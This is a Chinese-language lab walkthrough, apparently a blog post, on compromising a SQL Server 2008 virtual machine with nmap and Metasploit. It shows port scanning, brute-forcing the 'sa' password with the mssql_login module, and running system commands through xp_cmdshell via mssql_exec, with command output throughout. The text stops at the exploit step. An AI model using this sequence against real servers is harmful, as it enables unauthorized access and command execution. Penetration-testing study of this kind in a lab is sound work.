MSF应用之 sql sever(xp_cmdshell sp)

MSF应用之 sql sever(xp_cmdshell sp)
enter description here

目标实验机: 虚拟机系统(windows server 2008 R2)

sql server 2008

本机工具:本机系统 mac os

nmap/metaspliost

知识科普:


xp_cmdshell:

  1. SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器上,建议关闭或限制访问权,可以使用外围应用配置器工具以及通过执行 sp_configure 来启用和禁用 xp_cmdshell (在sql sever 2005以上 微软是自动关闭该选项,在sql server 2005版本中是自动开启的,虽然关闭着的,但是我们还是可以绕过该机制,在试验机中 ,关闭了该选项,但还是可以绕过,主要是因为服务器上关了自带的防火墙,才可以运行的该漏洞,各位小伙伴们可以在实验机上试试。虽然可以执行任意的dos命令,但是权限比较低)

 

  1. 有许多方法来破解数据库,而且这些技术需要SQL注入(C),这是一种方式发送SQL命令从一个Web窗体或其他输入到数据库中。在本教程中,我们将使用SQL注入获取底层服务器。因此,我们将使用数据库作为访问底层服务器的中介来访问数据库和数据,而不是访问数据库和数据。

几乎所有的商业数据库MS SQL Server,Oracle,MySQL,DB2,等等,都有内置的系统存储过程(SP)。这是由开发人员提供的代码,以帮助系统管理员完成常见的任务。

通常,一个数据库系统管理员将需要访问底层的服务器,微软提供了一个称为xp_cmdshell SP在SQL Server。当系统管理员执行此命令时,他们会在托管数据库的基础服务器上获得一个命令提示。
这是一次对所有SP的微软SQL服务器安装的默认启用,但因为它是由黑客经常利用,微软已经禁用了默认但我们仍然可以访问它肆虐!
当然,要访问此远程登录,我们将需要系统管理员的登录凭据。默认情况下,微软包装他们的SQL Server与系统管理员帐户名为“SA”和一些系统管理员改变它。你可以使用这样的工具sqldict或Metasploit的辅助模块,sql_login,获得SA密码用在本hack。
如果我们能在受害者系统上执行命令,我们不能只运行侦察它,但我们也可以有足够的系统和Windows命令它自己的知识。


信息收集:


nmap :

nmap -p 1433 192.168.1.0/24

用nmap来针对:1433端口来扫描整个网段下的ip 检测是否开放了 1433端口

检测结果如下:

Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-27 21:16 CST
Nmap scan report for 192.168.1.1
Host is up (0.0080s latency).
PORT STATE SERVICE
1433/tcp filtered ms-sql-s

Nmap scan report for 192.168.1.101
Host is up (0.00077s latency).
PORT STATE SERVICE
1433/tcp closed ms-sql-s

Nmap scan report for 192.168.1.103
Host is up (0.00097s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s


 

我们还可以对检测出开放1433端口的机子进行进一步的检测:

nmap -A 192.168.1.103

对该ip 进行全面检测,结果如下:

Nmap scan report for 192.168.1.103
Host is up (0.0021s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows 98, Windows Server 2008 R2; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98, cpe:/o:microsoft:windows_server_2008:r2

Host script results:
| ms-sql-info:
| 192.168.1.103:1433:
| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| Post-SP patches applied: false
| Product: Microsoft SQL Server 2008 R2
| number: 10.50.4000.00
| Service pack level: SP2
|_ TCP port: 1433


具体详细使用nmap 参考(凌舞)

原理篇:常用的扫描技术(一)

原理篇:常用的扫描技术(二)

 

那么我们知道目标机器使用的是sql server 2008的版本 而且还开放了1433端口

那么我们可以使用msf的辅助扫描模块,对其sqlserver的爆破,

msf 调用 scanner 模块

msf > use auxiliary/scanner/mssql/mssql_login

设置挂载需要爆破的弱口令密码字典

msf auxiliary(mssql_login) > set PASS_FILE 1.txt
PASS_FILE => 1.txt

我们知道在mssql里面 sa的权限是最高的,在这里我们尝试着用sa来登录 ,里面也可以对其使用username_File 挂载mssql登录用户

msf auxiliary(mssql_login) > set username sa
username => sa

可自定义设置扫描线程:

msf auxiliary(mssql_login) > set threads 50
threads => 50

设置目标ip

msf auxiliary(mssql_login) > set rhosts 192.168.1.103
rhosts => 192.168.1.103

开始爆破

msf auxiliary(mssql_login) > run

[] 192.168.1.103:1433 - 192.168.1.103:1433 - MSSQL - Starting authentication scanner.
[-] 192.168.1.103:1433 - 192.168.1.103:1433 - LOGIN FAILED: WORKSTATION\sa:1111 (Incorrect: )
[+] 192.168.1.103:1433 - 192.168.1.103:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:111
[
] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
得知信息:

由以上收集到的信息为:

系统版本 windows server 2008 r2

数据库使用版本: sql server 2008

目标所在ip 以及开放的端口等信息: 192.168.1.103:1433 ms-sql-s

mssql账号和密码为:sa /111

 

 

信息利用:


使用msf命令执行模块,执行最终的dos命令

msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec

使用options,来查看设置参数a318bfac-755a-479f-94c9-7a7d132db807

需要设置的是cmd里面的dos 命令 比如说:net user 查看用户组

msf auxiliary(mssql_exec) > set cmd ‘net user’
cmd => net user
msf auxiliary(mssql_exec) > set PASSWORD 111 (设置爆破出来的密码)
PASSWORD => 111
msf auxiliary(mssql_exec) > set rhost 192.168.1.103 (设置目标ip)
rhost => 192.168.1.103
msf auxiliary(mssql_exec) > exploit (执行攻击

 

5a09a414-11d6-4050-af97-0e089062684b